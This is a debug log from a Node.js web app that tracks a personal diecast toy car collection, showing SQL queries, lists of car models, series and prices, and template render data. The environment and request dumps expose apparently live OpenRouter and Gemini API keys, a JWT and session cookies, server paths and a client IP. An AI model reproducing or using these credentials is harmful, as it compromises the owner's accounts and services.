  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-21T13:03:08.809Z server-connect:app Executing action step select
2026-07-21T13:03:08.809Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-21T13:03:08.812Z server-connect:output series: [
  { id: 227, name: 'Drag Racers' },
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' },
  { id: 86, name: 'Vintage' }
]
2026-07-21T13:03:08.812Z server-connect:app Executing action step select
2026-07-21T13:03:08.812Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-21T13:03:08.815Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 170,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 196,
      model_name: '65 Mustang 2+2 Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Hotwheels',
      series: 'Vintage',
      brand_id: 71,
      series_id: 86,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 195,
      model_name: '68 Dodge Dart',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Hotwheels',
      series: 'Drag Racers',
      brand_id: 71,
      series_id: 227,
      case: 'E/F',
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 194,
      model_name: 'Polestar TRX',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-02-11T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D/E',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    },
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-07-21T13:03:08.816Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-21T13:03:09.047Z server-connect:router Serving templateView /
2026-07-21T13:03:09.048Z server-connect:app Executing action step identify
2026-07-21T13:03:09.048Z server-connect:app options: { provider: 'security' }
2026-07-21T13:03:09.048Z server-connect:output identity: 1
2026-07-21T13:03:09.048Z server-connect:app Executing action step restrict
2026-07-21T13:03:09.048Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-21T13:03:09.049Z server-connect:output restrict: undefined
2026-07-21T13:03:09.049Z server-connect:app Executing action step restrict
2026-07-21T13:03:09.049Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-21T13:03:09.049Z server-connect:output restrict: undefined
2026-07-21T13:03:09.050Z server-connect:router Render template layouts/main
2026-07-21T13:03:09.050Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'userID=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4; security.auth=s%3AwpRtlzKS9LBmSnSOMOMLnw%3D%3D.%2BKSaUuc%2FDWTb8yU%2F6QFPAmOdQv3WFeC3tEHlL1LT6sE5WLscwo60eF%2BAfeEU440ZVTJsGYw0CDeV1bBgmoymjrub9Wu%2F7%2FGbqEvWr55sNN%2BYf9HGvmuYJbNsrp8WZFFlWjiaJnhuZIR5IV9bWQhiec7uiCAirgoJ8BAD1uKk8bY%3D.E9%2BeLoUDLPqOLKYSBytp7vKYzPmz2pPOeoX3IEOO%2FnM; your_r_git.sid=s%3AiOgGMd8HpXh3s0Or3qmSG942OsfREkAo.hzOqt%2BvQ4Ohgzm3K66xa5gNlXhDeJ5v6yiHDvWVUKZI',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    userID: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-22T13:02:50.698Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'userID=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMyIsImlhdCI6MTc4NDYxMzgyOC4yODMyMTUsImV4cCI6MTc4NTIxODYyOC4yODMyMzh9.vSbFGRs2ovzsZUcUpLDkQOfyxuOCJ-Bi5s9DaHdw7L4; security.auth=s%3AwpRtlzKS9LBmSnSOMOMLnw%3D%3D.%2BKSaUuc%2FDWTb8yU%2F6QFPAmOdQv3WFeC3tEHlL1LT6sE5WLscwo60eF%2BAfeEU440ZVTJsGYw0CDeV1bBgmoymjrub9Wu%2F7%2FGbqEvWr55sNN%2BYf9HGvmuYJbNsrp8WZFFlWjiaJnhuZIR5IV9bWQhiec7uiCAirgoJ8BAD1uKk8bY%3D.E9%2BeLoUDLPqOLKYSBytp7vKYzPmz2pPOeoX3IEOO%2FnM; your_r_git.sid=s%3AiOgGMd8HpXh3s0Or3qmSG942OsfREkAo.hzOqt%2BvQ4Ohgzm3K66xa5gNlXhDeJ5v6yiHDvWVUKZI',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-07-21T13:03:21.372Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-21T13:03:21.373Z server-connect:app Executing action step identify
2026-07-21T13:03:21.373Z server-connect:app options: { provider: 'security' }
2026-07-21T13:03:21.373Z server-connect:output identity: 1
2026-07-21T13:03:21.373Z server-connect:app Executing action step restrict
2026-07-21T13:03:21.373Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-21T13:03:21.374Z server-connect:output restrict: undefined
2026-07-21T13:03:21.374Z server-connect:app Executing action step paged
2026-07-21T13:03:21.374Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-21T13:03:21.379Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 196,
      model_name: '65 Mustang 2+2 Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: null,
      price: '0.00',
      brand: 'Hotwheels',
      series: 'Vintage',
      brand_id: 71,
      series_id: 86,
      case: null,
      vehicle_brand_name: null,
      vehicle_brand_id: null,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: []
    }
  ]
}
2026-07-21T13:03:21.592Z server-connect:router Serving templateView /
2026-07-21T13:03:21.592Z server-connect:app Executing action step identify
2026-07-21T13:03:21.592Z server-connect:app options: { provider: 'security' }
2026-07-21T13:03:21.592Z server-connect:output identity: 1
2026-07-21T13:03:21.592Z server-connect:app Executing action step restrict
2026-07-21T13:03:21.592Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-21T13:03:21.593Z server-connect:output restrict: undefined
2026-07-21T13:03:21.593Z server-connect:app Executing action step restrict
2026-07-21T13:03:21.593Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-21T13:03:21.593Z server-connect:output restrict: undefined
2026-07-21T13:03:21.593Z server-connect:router Render template layouts/main
2026-07-21T13:03:21.594Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
